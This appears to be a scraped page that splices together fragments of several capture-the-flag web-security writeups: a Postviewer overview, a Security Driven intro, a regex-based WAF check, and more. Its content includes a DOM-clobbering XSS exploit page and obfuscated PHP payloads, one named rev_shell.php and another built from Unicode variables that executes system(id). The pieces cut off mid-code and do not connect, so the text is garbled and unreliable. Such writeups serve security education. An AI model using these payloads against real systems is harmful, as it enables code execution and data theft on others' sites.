terjanq

Postviewer - writeup

Challenge's overview

The rumor tells that adm1n stores their secret split into multiple documents. Can you catch 'em all? https://postviewer-web.2022.ctfcompetition.com

The challenge consisted of an all client-side simple page, i.e. no backend code was involved. A user can upload any file which will be then locally stored in indexedDB. They can preview their files by either clicking on the title or by visiting file's URL, for example https://postviewer-web.2022.ctfcompetition.com/#file-01d6039e3e157ebcbbf6b2f7cb2dc678f3b9214d. The preview of the file is rendered inside a blob created from data: URL. The rendering occurs by sending file's contents to the iframe via postMessage({ body, mimeType }, '*')

Additionally, there is a /bot endpoint which lets players send URLs to an xss-bot imitating another user. The goal is to steal their documents.

A TL;DR solution to Security Driven by @terjanq

For this year's Google CTF, I prepared a challenge that is based on a real-world vulnerability. The challenge wasn't solved by any team during the competition so here is the proof that the challenge was in fact solvable! :)

Link to the challenge: https://capturetheflag.withgoogle.com/challenges/web-security-driven
Link to the PoC: https://github.com/google/google-ctf/tree/master/2021/quals/web-security-driven/solution

The goal of the challenge was to send a malicious file to the admin and leak their file with a flag. The ID of the file was embedded into the challenge description (/file?id=133711377731) and only admin had access to it, because the file was private.

Disclamer: The write-up is written on airplane therefore the quality of it is poor, mostly to showcase the required steps to solve the challenge

Write-up

Solution

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TokyoWesterns CTF 2020 | writeups by @terjanq

Urlcheck v1 (98 points, 160 solves)

The goal was to bypass WAF protection to access local resources.

app.re_ip = re.compile('\A(\d+)\.(\d+)\.(\d+)\.(\d+)\Z')

def valid_ip(ip):
 matches = app.re_ip.match(ip)

	<html>
	<body>
	<script>
	// clobber document.getElementById and make window.calc.contentWindow undefined
	open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

	function start(){
	var ifr = document.createElement('iframe');
	// create sandboxed domain, open challenge page and force its origin to be null
	// null origin makes window.token undefined because of the error when accessing document.cookie


	<body>

	</body>
	<script>


	/*
	Quasi-scriptless (3 solves)

	<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`;

	/*
	* In terminal:
	* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php
	* This is how the code will be produced, \xa0\xb8\xba\xab will be
	* treated as constant therefore no " needed. It is also not copyable
	* string because of non-ascii characters
	*
	* Explanation:

	/* system(id) */
	<?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ?><?=$Ψ=++$Χ?><?=$Ω=++$Ψ?><?=$Ϊ=++$Ω?><?=$Ϋ=++$Ϊ?><?=$ά=++$Ϋ?><?=$έ=++$ά?><?=$ή=++$έ?><?=$ί=++$ή?><?=$ΰ=++$ί?><?=$α=++$ΰ?><?=$β=++$α?><?=$γ=++$β?><?=$δ=++$γ?><?=$ε=++$δ?><?=$ζ=++$ε?><?=$η=++$ζ?><?=$θ=++$η?><?=$ι=++$θ?><?=$κ=++$ι?><?=$λ=++$κ?><?=$μ=++$λ?><?=$ν=++$μ?><?=$ξ=++$ν?><?=$ο=++$ξ?><?=$ο=([].Φ)[![]+![]+![]]?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?>


	<!--
	Explanation:
	- Some of the characters might look like alphanumeric, but they are Unicode characters.
	- 'ArrayΦ' <-> [].Φ
	- 1 <-> ![]
	- 'a' <-> ([].Φ)[![]+![]+![]]

	# The solution comes from the paper https://sci-hub.tw/10.1007/BF03025305
	# Which I got from p4 team.

	import random
	from math import factorial

	SET_SIZE = 8
	MAX_VAL = 40000

	# get random 8 integers

	from flask import Flask
	import time
	import requests
	import os
	import re
	import sys


	app = Flask(__name__)